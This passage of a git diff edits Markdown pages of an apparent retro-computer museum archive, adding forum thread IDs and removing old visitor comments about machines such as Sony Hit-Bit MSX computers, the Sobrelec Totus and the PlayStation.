comments: - - author: Raindance Rob (Sheffield, UK) - date: Tuesday 28th December 2010 - text: i own one of these $ while they are alot of fun to play on there is no back light so you have to play with a light on or you wont be able to see anything, also most games are pretty expensive to buy. btw these are no longer sold in bundles in retro game shops in UK $ fetch quite abit of money. related: - /museum/snk-neo-geo-pocket oc_id: 1265 diff --git a/content/museum/snk-neo-geo-pocket.md b/content/museum/snk-neo-geo-pocket.md index dd339610..dd2f81ae 100644 --- a/content/museum/snk-neo-geo-pocket.md +++ b/content/museum/snk-neo-geo-pocket.md @@ -12,6 +12,7 @@ params: - photos - emulators - links + forum_thread: 1231 photos: - title: NEO GEO POCKET subtitle: '' diff --git a/content/museum/sobrelec-totus.md b/content/museum/sobrelec-totus.md index 3ad23133..58233051 100644 --- a/content/museum/sobrelec-totus.md +++ b/content/museum/sobrelec-totus.md @@ -62,40 +62,12 @@ params: value: 27 500 FF HT (France, 1984) tabs: - photos + forum_thread: 1064 photos: - title: TOTUS subtitle: '' text: '' image: /media/museum/photos/sobrelec_totus_1.jpg - comments: - - author: CAROFF - date: Sunday 25th September 2016 - text: |- - The ''transportable'' computer, presented by SOBRELEC, got 4 stars at ''SICOB'' show (equivalent to NCC, National Computer Conference). I''am the designer of this computer, in\ - my company named MIO (Micro Informatique Ouest), located at "La Fonderie", Plouneventer 29230. This idea came after a trip to NCC in LA, CA, where I saw OSBORNE : I thought the screen was too small, and decided for a 9" screen. - - The main computer card was derivated from Logabax LX500 ( I designed in 1988), a well known computer sold as 6000 samples to french National Education. - - Michel_Caroff@yahoo.fr - - author: le roux (france) - date: Thursday 26th February 2015 - text: |- - I''have assembled the two cpu board for the company coopagri.\ - They bought all the parts of the Totu when Sobrelec close.\ - I rebuild 5 computers. - - author: Régis Le Boité (France) - date: Friday 27th August 2010 - text: |- - Hello, - - I was a trainee at Sobrelec in 1982. I remember well this computer. The processor was a Z80 at 4Mhz (the maximum possible). The problem was that it was very heavy (not far from 20 kg) which made it "transportable" instead of "portable". But it was a "revolution" in 1982. I remember also that the last models of them had a "tactile" screen. This was made by "light cells" located around the screen. - - The keyboard was the cover of the box and contained the handle of the computer. - - Thank you to have found it and to have taken of picture of it ! - - With kind regards\ - Régis Le Boité oc_id: 1094 source: url: https://web.archive.org/web/20230608091214/http://www.old-computers.com/museum/computer.asp?c=1094 diff --git a/content/museum/societe-occitane-d-electronique-oc-2000.md b/content/museum/societe-occitane-d-electronique-oc-2000.md index e1931d18..be2f6cf6 100644 --- a/content/museum/societe-occitane-d-electronique-oc-2000.md +++ b/content/museum/societe-occitane-d-electronique-oc-2000.md @@ -13,6 +13,7 @@ params: - software - emulators - links + forum_thread: 1024 photos: - title: BLACK OC-2000 subtitle: '' @@ -106,10 +107,6 @@ params: - title: VC4000.de url: http://www.vc4000.de text: Website dedicated to the Interton VC4000 (in German) - comments: - - author: matthew neathery (United States) - date: Sunday 23rd February 2014 - text: this is a funky looking console i had one of them when i was little i still have it and i think its odd and cool also the atari lynx loaded games into ram before playing related: - /museum/acetronic-mpu-1000-2000 - /museum/cabel-universal-game-computer diff --git a/content/museum/societe-occitane-d-electronique-oc-4.md b/content/museum/societe-occitane-d-electronique-oc-4.md index 00e92cc3..02e3ad89 100644 --- a/content/museum/societe-occitane-d-electronique-oc-4.md +++ b/content/museum/societe-occitane-d-electronique-oc-4.md @@ -51,6 +51,7 @@ params: tabs: - emulators - links + forum_thread: 896 emulators: - title: www.pong-story.com url: http://www.pong-story.com/pcpong.htm diff --git a/content/museum/societe-occitane-d-electronique-oc-5000.md b/content/museum/societe-occitane-d-electronique-oc-5000.md index efc80783..998e0a42 100644 --- a/content/museum/societe-occitane-d-electronique-oc-5000.md +++ b/content/museum/societe-occitane-d-electronique-oc-5000.md @@ -51,6 +51,7 @@ params: tabs: - photos - links + forum_thread: 897 photos: - title: ZOOM subtitle: '' @@ -60,15 +61,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: la Vieille (France) - date: Tuesday 21st August 2012 - text: |- - OMG ! - - I find it ! The first console I have ever played with ! I was six at this time, but i can remember it with precision. And one thing I remember is that the light gun newer worked. I was wondering if this gun was only a gadget never designed to work or if it was just a disfunction of the console (maybe the link between the gun and the console ?). - - btw, I am so happy to have found it :) related: - /museum/gorenje-geti-3220 - /museum/philips-n20 diff --git a/content/museum/societe-occitane-d-electronique-oc-6000.md b/content/museum/societe-occitane-d-electronique-oc-6000.md index d2c77582..c0fad222 100644 --- a/content/museum/societe-occitane-d-electronique-oc-6000.md +++ b/content/museum/societe-occitane-d-electronique-oc-6000.md @@ -50,6 +50,7 @@ params: value: Unknown tabs: - photos + forum_thread: 898 photos: - title: INSIDE subtitle: '' diff --git a/content/museum/solid-state-technology-athena.md b/content/museum/solid-state-technology-athena.md index b537dfaa..73744e33 100644 --- a/content/museum/solid-state-technology-athena.md +++ b/content/museum/solid-state-technology-athena.md @@ -64,31 +64,7 @@ params: value: Unknown - label: PRICE value: 35000 FF HT (France, 1980) - comments: - - author: Marty Grogan (USA) - date: Monday 11th April 2011 - text: |- - I obtained one of the first PC''s at Honeywell early in the ''80. It was an Athena. The total quote for all items exceeded $7k. I demonstrated its capabilities for executives and at a corporate trade show. - - When the IBM PC came out, I thought it did not have nearly the capability of the Athena. The Athena used a true multi-tasking OS that enabled single keystroke application switching. It also incorporated intelligent distributed multiprocessing into perpherial interfaces. - - The main cpu was an 8085. The machine and OS were developed by an MIT graduate. - - The machine was obtained on spec and never purchased. The division VP commented after a demonstration "Wear it out" implying a total lack of regard for potential or interest in application. - - Fewer than one thousand of these machines were produced. The company never gained viability. - - author: Roland (USA) - date: Friday 22nd May 2015 - text: |- - Just stumbled across this site. I was one of hardware/firmware designers for this product. I may still have some manuals for the system, if there is any interest in me scanning them. - - I designed the DRAM system (48K), the dot-matrix printer microcontroller hardware/ firmware, the RS232 terminal interface. - - Also involved in a CPM conversion project that we never brought to market. Still know many of the team (Mike Varanka, Gary Cook, Roland Guilmet, Dennis Chasse, Dave. As well as the next generation (8088/86 based) system which we prototyped and didn''t make to market. - - OS was called AMOS (Athena Multitasking Operating System) and used a bus based system that when each board was installed automatically provided relevant driver for the OS. No external software needed. - - Interesting side note: Met Bill Gates of Microsoft, when we contracted Microsoft for Assembler, Basic, and Fortran software packages for the system. + forum_thread: 1091 oc_id: 1121 source: url: https://web.archive.org/web/20230128071906/http://www.old-computers.com/museum/computer.asp?c=1121 diff --git a/content/museum/sonico-406-6-color-tv-sports-video-game.md b/content/museum/sonico-406-6-color-tv-sports-video-game.md index 5d48d475..0a6a6b21 100644 --- a/content/museum/sonico-406-6-color-tv-sports-video-game.md +++ b/content/museum/sonico-406-6-color-tv-sports-video-game.md @@ -49,6 +49,7 @@ params: tabs: - photos - links + forum_thread: 1170 photos: - title: SONICO 406-6 subtitle: '' @@ -62,22 +63,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: other - date: Tuesday 22nd September 2015 - text: |- - I have a Sonico 406-6 (Color TV Sports Video Game) as this identical.\ - But I find a lot of information.\ - if there is much other information as conic. - - author: other - date: Tuesday 22nd September 2015 - text: |- - I have a Sonic 406-6 (Color TV Sports Video Game) as this identical.\ - But I find a lot of information.\ - if there is much other information as conic. - - author: Atle (Norway) - date: Friday 18th January 2013 - text: I got one like this. It looks like this one, but it have the name Conic instead of Sonico. related: - /museum/coleco-telstar-marksman oc_id: 1202 diff --git a/content/museum/sonolor-telematch.md b/content/museum/sonolor-telematch.md index a16e562d..02fe2146 100644 --- a/content/museum/sonolor-telematch.md +++ b/content/museum/sonolor-telematch.md @@ -52,6 +52,7 @@ params: - photos - emulators - links + forum_thread: 901 photos: - title: INSIDE subtitle: '' diff --git a/content/museum/sony-hit-bit-10.md b/content/museum/sony-hit-bit-10.md index 42854f3d..c079df21 100644 --- a/content/museum/sony-hit-bit-10.md +++ b/content/museum/sony-hit-bit-10.md @@ -71,6 +71,7 @@ params: - hardware - emulators - links + forum_thread: 829 photos: - title: USER DOCUMENTATIONS subtitle: '' @@ -217,13 +218,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/sony-hit-bit-101.md b/content/museum/sony-hit-bit-101.md index 3f9bccc5..0f496eac 100644 --- a/content/museum/sony-hit-bit-101.md +++ b/content/museum/sony-hit-bit-101.md @@ -70,6 +70,7 @@ params: - software - emulators - links + forum_thread: 764 photos: - title: HB-101 subtitle: '' @@ -257,23 +258,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Dinesh (India) - date: Sunday 19th March 2017 - text: I am having one with me. :) - - author: polla (spain) - date: Sunday 6th February 2011 - text: tenia un diseño precioso, parece una consola de videojuegos. - - author: Jaume (spain) - date: Sunday 19th September 2004 - text: |- - I actually got one of those computers, specificaly the 101-p (pal) strangely this is noway adapted to spain (keyboard without Ñ and Ç) the stickers meaning static electricity near joystick plug and the ones near cartridges are in english In the rear the two A/V rca plugs are switched to one din plug (for a/v too)\ - I remember when you boot the computer the first you see is a GUI menú to choose the data bank options or go to basic, from basic you can go back to data bank typing "hitbit" in basic if you choose basic again the basic memory is preserved (this mean you are programming, go to data bank to take a note and then back to basic and keep the work on) - - Also the data bank "feels" wath recording media is connected and offers his use from the grafical menú also does trespassing betwen media from tape to floppy or from cartridge to floppy, but this last only works on ram cartridges, no for games ;-) - - author: Pepe (Madrid) - date: Wednesday 28th July 2004 - text: Un gran ordenador en el que invertí interminables horas de mi infancia. related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/sony-hit-bit-20.md b/content/museum/sony-hit-bit-20.md index d7480fe9..91411521 100644 --- a/content/museum/sony-hit-bit-20.md +++ b/content/museum/sony-hit-bit-20.md @@ -12,6 +12,7 @@ params: - hardware - emulators - links + forum_thread: 867 photos: - title: HIT-BIT 20P subtitle: '' @@ -157,37 +158,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Noobsaibot73 (Spain) - date: Wednesday 1st May 2013 - text: |- - Hello Olivier, - - As far as I know the rear ports and the color of many keys are the difference between HB20P and HB10P. - - The HB20P has a din (RGB?) port which is not present in the HB10P, but it has a separated yellow, red and white RCA''s which are missing in the HB20P. This what I can remember, but I can be wrong. - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Jose Francisco Gomez Otero - date: Sunday 11th September 2011 - text: |- - I made my first BASIC programs with this computer in the later 80''s\ - I still have it somewhere at home. I first begun with BASIC but changed to assembly quikly so I explored the inner parts of the hardware.\ - The Sony msx HB20P had 64k mapped RAM memory in to banks of 32k one of them started at 4000x0 (hexadecimal address) and could be swaped by software with the ROM memory , that holded the OS. So one could easely made changes to the operating sistem , what I used and liked to do ! - - author: SantyB (Spain) - date: Monday 20th September 2010 - text: |- - I played lot of time with the hit-bit 10 computer, it was my first computer and passed hours and hours.\ - About the question of the difference between models, it can be that one of it has the function keys in colors (Blue) and stop/pause was red coloured. it was sold in spain - - author: Jaume De La Vega (Spain) - date: Sunday 19th September 2004 - text: |- - I passed my chilhood with one of those 20p and i'm pretty sure the ram is only of 32Kb the sticker near the cartridge slot is also translated to spanish like the hb-10 also mine computer got other variety of arrow keys in dark grey instead of ivory.\ - Also i haved a data-corder made for math the style of the 20 p (also sony, in the same colors and with rounded shape.) related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/sony-hit-bit-201.md b/content/museum/sony-hit-bit-201.md index 934efa19..3e0b5bfa 100644 --- a/content/museum/sony-hit-bit-201.md +++ b/content/museum/sony-hit-bit-201.md @@ -12,6 +12,7 @@ params: - hardware - emulators - links + forum_thread: 832 photos: - title: BLACK VERSION subtitle: '' @@ -153,16 +154,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Joseph P. Hays (Sacramento, CA, USA) - date: Thursday 10th November 2005 - text: I just bought one of these machines, and I am quite impressed. Makes me a true beleiver of the MSX standard! related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/sony-hit-bit-501.md b/content/museum/sony-hit-bit-501.md index ef6c9e76..4024024c 100644 --- a/content/museum/sony-hit-bit-501.md +++ b/content/museum/sony-hit-bit-501.md @@ -85,6 +85,7 @@ params: - hardware - emulators - links + forum_thread: 433 photos: - title: THE HB-501F subtitle: '' @@ -226,25 +227,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Werner Augusto Roder Kai (Brazil) - date: Saturday 26th July 2014 - text: |- - Please correct the information about this MSX - - 1 - in the Keyboard section: It''s HB-501F not HB-75F.\ - 2 - Also Hitachi H2 and Sanyo PHC-34 have built-in tape recorders. - - Also add: The A/V output is DIN-6 (non-standard), and it''s carry STEREO audio outputs. - - author: jaume - date: Friday 2nd August 2013 - text: You seen anywere the name spectrum? this is about MSX, don''t expect anybody helping you... Retard. - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/sony-hit-bit-55.md b/content/museum/sony-hit-bit-55.md index f12b772f..4c63e352 100644 --- a/content/museum/sony-hit-bit-55.md +++ b/content/museum/sony-hit-bit-55.md @@ -13,6 +13,7 @@ params: - hardware - emulators - links + forum_thread: 765 photos: - title: SILVER MODEL subtitle: '' @@ -219,22 +220,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: ESLES (DSS) - date: Tuesday 17th January 2012 - text: My first computer... I love It! - - author: ESLES (DSS) - date: Tuesday 17th January 2012 - text: My first computer... I love It! - - author: Alberto (Madrid (Spain)) - date: Friday 3rd January 2003 - text: :) ooh I really love the Sony MSX machines... thankyou very much for this info. Best regards. related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/sony-hit-bit-75.md b/content/museum/sony-hit-bit-75.md index fe1406b0..b2e9dcb7 100644 --- a/content/museum/sony-hit-bit-75.md +++ b/content/museum/sony-hit-bit-75.md @@ -15,6 +15,7 @@ params: - emulators - links - videos + forum_thread: 432 photos: - title: HIT-BIT 75P subtitle: '' @@ -229,37 +230,6 @@ params: - title: Hit-Bit japanese TV commercial url: https://www.youtube.com/watch?v=IAYspNJheWA text: 'Length: 15 s' - comments: - - author: fireb0y (España) - date: Saturday 10th August 2019 - text: Very good and reliable computer, my first home computer ever. The cursor keys were good, but they fail about time because the switches used by Sony, but nowadays are easy to find replacement. - - author: CARLOS (SPAIN) - date: Sunday 18th November 2012 - text: I SELL ONE. SOMEBODY INTERESTED¿ - - author: MsxKun - date: Monday 18th June 2012 - text: You can connect a disk drive to \*ANY\* of the cartridge slots, same as on any MSX, not specifically 2nd slot... - - author: ESLES (DSS) - date: Tuesday 17th January 2012 - text: My second one... Love too - - author: Niles (Madrid (Spain)) - date: Thursday 22nd September 2005 - text: |- - HB75P Service Manual downloadable at - - http://members.chello.nl/h.otten/fronthw.htm - - as many others MSX documents ^ ^ - - author: Niles (Madrid (Spain)) - date: Thursday 23rd January 2003 - text: |- - we can find a scanned operating manual of this machine at http://www.msxhans.msx2.com\ - ... great !! - - author: Niles (Madrid (Spain)) - date: Tuesday 16th July 2002 - text: |- - I see many people remarks his first computer. Well, this wonder machine was my first computer, in 1985, and I'm still using it! :D\ - Best Regards. related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/sony-hit-bit-f1xd.md b/content/museum/sony-hit-bit-f1xd.md index 75072399..4cef595c 100644 --- a/content/museum/sony-hit-bit-f1xd.md +++ b/content/museum/sony-hit-bit-f1xd.md @@ -67,6 +67,7 @@ params: - emulators - links - videos + forum_thread: 754 photos: - title: HB-F1XD subtitle: '' @@ -118,21 +119,6 @@ params: - title: Sony MSX2 F1XD japanese TV commercial url: https://www.youtube.com/watch?v=NOul-phnDI8 text: 'Length: 15 s' - comments: - - author: César Guerra (Campinas - Brasil) - date: Saturday 24th April 2010 - text: I have one original manual of Sony F1XDmk2 in Japonese. - - author: Vacceo (Spain) - date: Thursday 27th April 2006 - text: |- - Can anybody tell the differences between the F1XD and the F1XDmk2?\ - Thanks! - - author: Paulo Vaz (Brazil) - date: Sunday 2nd January 2005 - text: |- - I´m looking for original or scanned manuals for Sony HitBit F1XD systems, because my machine don´t came with any manual. - - Thanks in advance! related: - /museum/canon-v-25 - /museum/jvc-hc-95 diff --git a/content/museum/sony-hit-bit-f500.md b/content/museum/sony-hit-bit-f500.md index 26dde765..f25c808c 100644 --- a/content/museum/sony-hit-bit-f500.md +++ b/content/museum/sony-hit-bit-f500.md @@ -58,6 +58,7 @@ params: - photos - emulators - links + forum_thread: 291 photos: - title: HB-F500 subtitle: '' @@ -124,23 +125,6 @@ params: - title: MSX Faq url: http://www.faq.msxnet.org text: Here, you can find near all hardware pieces related to MSX. - comments: - - author: Andre (France) - date: Thursday 5th August 2010 - text: |- - Hi\ - I was using some msx computers long ago, mainly for games.\ - I had a Sony Hit Bit 700 that i sold to buy a pc but was missing it so much that i bought a used Sony Hit Bit F500 F (for France I guess). I still have it and its working fine for now. It is booting on Msx Basic, but I have no manual left (if u know of some pdf file ...). I have some game cartridges too.\ - Greetings - - author: Francisco (Spain) - date: Saturday 1st December 2007 - text: I really don't know as I have never used one of them, I've been reading about this computer and could be a GEM version (but, I'm not sure). - - author: Oscar (Spain) - date: Monday 27th December 2004 - text: Maybe GEOS? - - author: Leandro (Brazil) - date: Friday 11th April 2003 - text: Does anyone knows the name of the GUI that came with this computer? related: - /museum/canon-v-25 - /museum/jvc-hc-95 diff --git a/content/museum/sony-hit-bit-f700.md b/content/museum/sony-hit-bit-f700.md index 2dea961f..97a88fb2 100644 --- a/content/museum/sony-hit-bit-f700.md +++ b/content/museum/sony-hit-bit-f700.md @@ -64,6 +64,7 @@ params: - photos - emulators - links + forum_thread: 149 photos: - title: FRONT subtitle: '' @@ -122,19 +123,6 @@ params: - title: MSX Faq url: http://www.faq.msxnet.org text: Here, you can find near all hardware pieces related to MSX. - comments: - - author: Oscar (Canada) - date: Friday 19th June 2015 - text: I have this exact computer and monitor for sale. They are in their original box with all accessories and were hardly used. i am the original owner. Contact me at oscart@total.net if interested in buying. Thanks. - - author: A. Trent Phillips (United States (Great Lakes)) - date: Sunday 8th April 2012 - text: |- - This computer looks like it has just enough capacity to support a simple GUI, like the old Commodore 64 could support a variant of GeoWorks. - - But then again, it was quite an effort to get that to happen (required hand written 6502 Assembler). Would have been neat though... - - author: Rita H arris (Racine Wisconsin) - date: Saturday 15th June 2002 - text: If you want to sell the Sony Hit-Bit plaese contacact me. related: - /museum/canon-v-25 - /museum/jvc-hc-95 diff --git a/content/museum/sony-hit-bit-f9.md b/content/museum/sony-hit-bit-f9.md index 30285e13..da7c0b4d 100644 --- a/content/museum/sony-hit-bit-f9.md +++ b/content/museum/sony-hit-bit-f9.md @@ -61,6 +61,7 @@ params: - emulators - links - docs + forum_thread: 835 photos: - title: HB-F9S subtitle: '' @@ -112,13 +113,6 @@ params:  type of document : PDF\  size : 820 KB\  source : [www.hansotten.com](http://www.hansotten.com) - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-25 - /museum/jvc-hc-95 diff --git a/content/museum/sony-hit-bit-g900f.md b/content/museum/sony-hit-bit-g900f.md index a4ca3db1..c2269d42 100644 --- a/content/museum/sony-hit-bit-g900f.md +++ b/content/museum/sony-hit-bit-g900f.md @@ -65,6 +65,7 @@ params: - photos - emulators - links + forum_thread: 771 photos: - title: REAR subtitle: '' diff --git a/content/museum/sony-playstation-2.md b/content/museum/sony-playstation-2.md index 41482d39..9c8a7996 100644 --- a/content/museum/sony-playstation-2.md +++ b/content/museum/sony-playstation-2.md @@ -61,18 +61,12 @@ params: value: ¥39,800 (Japan 2000), $299.99 (U.S.A. 2000) £299.99 (U.K. 2000) tabs: - emulators + forum_thread: 1197 emulators: - title: PCSX2 url: http://www.pcsx2.net/ platform: Multiplatform text: Developed by the team behind PCSX, this emulator shows great potential. - comments: - - author: overloaded - date: Saturday 28th January 2012 - text: I still have my fat ps2 from 2003 with the addition of the HD Loader and Network adapter and 120Gb HDD, the thing is still alot of fun and because of the HDD the games load really fast. - - author: Christian (USA) - date: Friday 7th March 2008 - text: I loved my "Fat" PS2 from 2003 to 2007, it died within a few months of this year and so I now have to buy a PS2 Slim to replace my old friend. But, all things aside I had some good times with it and I'll miss the old fatty PS2 oc_id: 1230 source: url: https://web.archive.org/web/20230331213639/http://www.old-computers.com/museum/computer.asp?c=1230 diff --git a/content/museum/sony-playstation.md b/content/museum/sony-playstation.md index 1f8c5afc..5d2f1581 100644 --- a/content/museum/sony-playstation.md +++ b/content/museum/sony-playstation.md @@ -13,6 +13,7 @@ params: - emulators - docs - videos + forum_thread: 1196 photos: - title: PLAYSTATION subtitle: '' @@ -88,32 +89,6 @@ params: - title: 'Collection of Japanese Playstation TV commercials #8' url: https://www.youtube.com/watch?v=frmz3BqBtG0 text: 'Length: 5 min 18 s' - comments: - - author: James (Ireland) - date: Wednesday 1st July 2020 - text: |- - Recently when i was in London i bought a PS1 from a local flea market for 10 pounds. - - At first it looked broken along with most of the stuff but i did get a perfect copy of TME CRISIS: PROJECT TITAN along with that it worked like a charm on my HDMI TV - - author: EPROM 9 (England) - date: Saturday 23rd October 2010 - text: The PS1 graphics was less powerful than the N64, but the PS1 could display better/more colours than the N64. The use of CD instead of cartridges allowed longer games. It also meant that speech and video could be used for cut seen''s due to more storage space. The N64 is linked to the TV and the ps1 is in the cupboard under the TV due to lack of space. The ps1 does still find use when I fell like playing it. - - author: bluekatt (netherlands) - date: Friday 6th April 2007 - text: |- - acyually the psx monicker is correct\ - in developement the plsyatastion was known as playstation experimental abbreviated to psx\ - the name has stuck ever since to refer to it in shorthand\ - the confusion was not helped by the matter of sony's brlliant ( read vauge ) idea to entitle the upgraded ps2 with dvd ripping abiltiies and a hd the psx\ - it might be the official name of the machine\ - the real psx is stil the old grey playstation it has always been and will be - - the psx has had one of the most longest and distinguished lives of any console\ - it has been inproduction for a full decade from 1994 till 2004\ - putting it in the same leuge as the nes ( a staggering 21 years ) the atari vcs the gameboy and the snes ( 9 years)\ - its off spring stil lives on in the form of the playstation 2 and 3\ - and the ps1 stil lives on in its off spring as a dedicated chip in each of them to enable ps1 playback\ - the playstation 2 has proven it self durable has wel celebrating its seventh birthday on 4 march this year oc_id: 1229 source: url: https://web.archive.org/web/20230323083721/http://www.old-computers.com/museum/computer.asp?c=1229 diff --git a/content/museum/sony-series-35-model-10.md b/content/museum/sony-series-35-model-10.md index 1e7e4468..ad420568 100644 --- a/content/museum/sony-series-35-model-10.md +++ b/content/museum/sony-series-35-model-10.md @@ -9,6 +9,7 @@ params: company_name: Sony tabs: - photos + forum_thread: 223 photos: - title: IN USE subtitle: '' @@ -18,40 +19,6 @@ params: subtitle: '' text: This is the rear of the monitor which houses the whole computer and disk-drives, just like with the Apple Macintosh. There is an ON/OFF switch, two device connectors and a Printer interface. image: /media/museum/photos/sony_model-10-35_rear.jpg - comments: - - author: Cynthia Duff (United States) - date: Friday 18th December 2020 - text: I used to work for Sony as a dealer rep for the Series 35 and Model 10 in Los Angeles. They were GREAT products for their time. I miss them. The word processing programs of today do not hold a candle to the ease of use those word processors had. - - author: Terry Corbett (Canada) - date: Wednesday 8th April 2020 - text: I was trained by Sony Canada on these beasts. The floppies were a major problem and the screens would constantly lose focus. Our dealership $ped them after three months as they were costing a fortune to maintain. - - author: Zzmac (usa) - date: Tuesday 15th October 2019 - text: Hey vip_tech (USA) and LBlack8978 (USA) do you still any of the Sony Model 35 stuff you might want to sell? - - author: Zzmac (USA) - date: Tuesday 15th October 2019 - text: Hey vip_tech (USA) do you still any of the Sony Model 35 stuff you might want to sell? - - author: vip_tech (USA) - date: Friday 4th October 2019 - text: I worked for a Sony Business dealer and repaired these as well as the larger Model 35''s and printers, which were actually NEC printers. They used a modified CPM language. The displays were beautiful black type on a white background. Looked like a sheet of paper. The main problems I remember were the floppy drives constantly broke. - - author: LBlack8978 (USA) - date: Wednesday 17th October 2018 - text: They use 3.5 discs. I used this processor for work, I loved it. I still have a lot of the discs. - - author: Bruce Felger (us) - date: Thursday 21st September 2017 - text: what format does this machine use for it''s data files? - - author: LBlack8978 (USA) - date: Monday 10th June 2013 - text: I have one to sell but can''t figure out how to post it on the forum page, can anybody help? - - author: fpgasteve (australia) - date: Friday 15th April 2011 - text: .. I have the service manual to this model somewhere. They were very cute - nicely built too. Be good to get one again to check out. - - author: Mnem (Canada) - date: Friday 16th December 2005 - text: I actually have one of these as well. Can't remember for the life of me what scrapheap I obtained it from though. No keyboard or disk for it though so I've never actually used it. It does boot to the 'insert disc' screen though so it works as far as I'm aware. Mine has a colour screen though, so I'm not sure if it's a slightly different model or not. I was actually thinking about pulling this thing apart and putting a mini-itx board into it at some point as a little project to make a nice small computer for the kitchen. :) - - author: okmac (Oklahoma) - date: Wednesday 19th January 2005 - text: I have two of these Sony Series 35 Model 10 in my garage. One, without a keyboard and the other with. I have no wordprocessor disk. I have kept them around because they look like Macintoshes. oc_id: 213 source: url: https://web.archive.org/web/20230204143448/http://www.old-computers.com/museum/computer.asp?c=213 diff --git a/content/museum/sony-smc-70.md b/content/museum/sony-smc-70.md index 660ceafa..d3962f34 100644 --- a/content/museum/sony-smc-70.md +++ b/content/museum/sony-smc-70.md @@ -61,6 +61,7 @@ params: - adverts - hardware - docs + forum_thread: 364 photos: - title: COMPLETE SYSTEM WITH EXPANSION BOX subtitle: '' @@ -100,51 +101,6 @@ params:  type of document : ZIP\  size : 4 MB\  source : www.old-computers.com - comments: - - author: Mark Malley (Plymouth, CT) - date: Saturday 4th November 2017 - text: 'It''''s been 15 years since I last posted here, and in the meantime I managed to locate both an SMC-70 and SMC-70G. Here is what the SMC-70 Sony Basic demo program looks like: https://youtu.be/EatkqjMQP5w I''''m still looking for many of the accessories. Email me if you are looking to get rid of any, my updated email address is mark@mailscraps.com. Thanks!' - - author: Bob Warren (Conifer, CO) - date: Thursday 3rd October 2013 - text: |- - I was a support engineer for Sony Professional at the time we were selling these. A couple things - the "G" was the later model with the ability to genlock to incoming video and be used as a primitive character generator / graphics generator. There were actually a number of these used on the set of "V". We were excited to be part of the project until we saw the script that called for a computer with no brand recognition. Not exactly what the marketing people wanted to hear...\ - We also used these (we were all given one) for corporate e-mail (remember Compuserve?). - - author: JOSEPH HALYCKYJ - date: Wednesday 5th June 2013 - text: My email address is jhalyckyj@shaw.ca - - author: JOSEPH HALYCKYJ - date: Wednesday 5th June 2013 - text: My email address is jhalyckyj@shaw.ca - - author: JOSEPH HALYCKYJ - date: Wednesday 5th June 2013 - text: My email address is jhalyckyj@shaw.ca - - author: JOSEPH HALYCKYJ - date: Wednesday 5th June 2013 - text: My email address is jhalyckyj@shaw.ca - - author: JOSEPH HALYCKYJ (Canada) - date: Wednesday 5th June 2013 - text: I have a SONY SMC-70G for sale. If anyone is interested please email.I purchased in 1986 and it still works i have all the manuals. - - author: Maurice442 (Canada) - date: Saturday 13rd August 2005 - text: |- - I still have one of the SMC-70 that I bought new in 1983 and it still working good (would like to find another printhead for the printer if anyone has one somewhere???) I also have many of the origininal Service manuals that I got about the same time for the many accessories that were available at the time for it.\ - Anyone looking for some tech info on this I probably have... - - Thanks for reading me - - Maurice442 - - author: Baby Peanut (Peanut Labs) - date: Wednesday 12th March 2003 - text: |- - "created few time earlier" is clearly written by someone who is not a native speaker of English. The normal way to say that would be "created a little earlier". - - This site is full of "few time" mistakes just like that. - - author: Mark Malley (Philadelphia, PA) - date: Monday 16th December 2002 - text: I had one of these computers growing up, and still have some of the old disks. After 14 years of service, it was taken out in an electical storm. I'm looking to buy one to have a blast from the past! Email me if you are looking to get rid of one! markgm@drexel.edu - - author: John Yoder (Indianapolis, IN USA) - date: Thursday 24th January 2002 - text: I have a Sony SMC-70 in pretty good operating condition, with some basic software (wordstar and supercalc). Is there a collector that might be interested? oc_id: 362 source: url: https://web.archive.org/web/20230510155754/http://www.old-computers.com/museum/computer.asp?c=362 diff --git a/content/museum/sony-smc-70g.md b/content/museum/sony-smc-70g.md index d5b2ceda..138b9add 100644 --- a/content/museum/sony-smc-70g.md +++ b/content/museum/sony-smc-70g.md @@ -7,33 +7,7 @@ params: image: /media/museum/photos/sony_smc70g_1.jpg company: /companies/sony company_name: Sony - 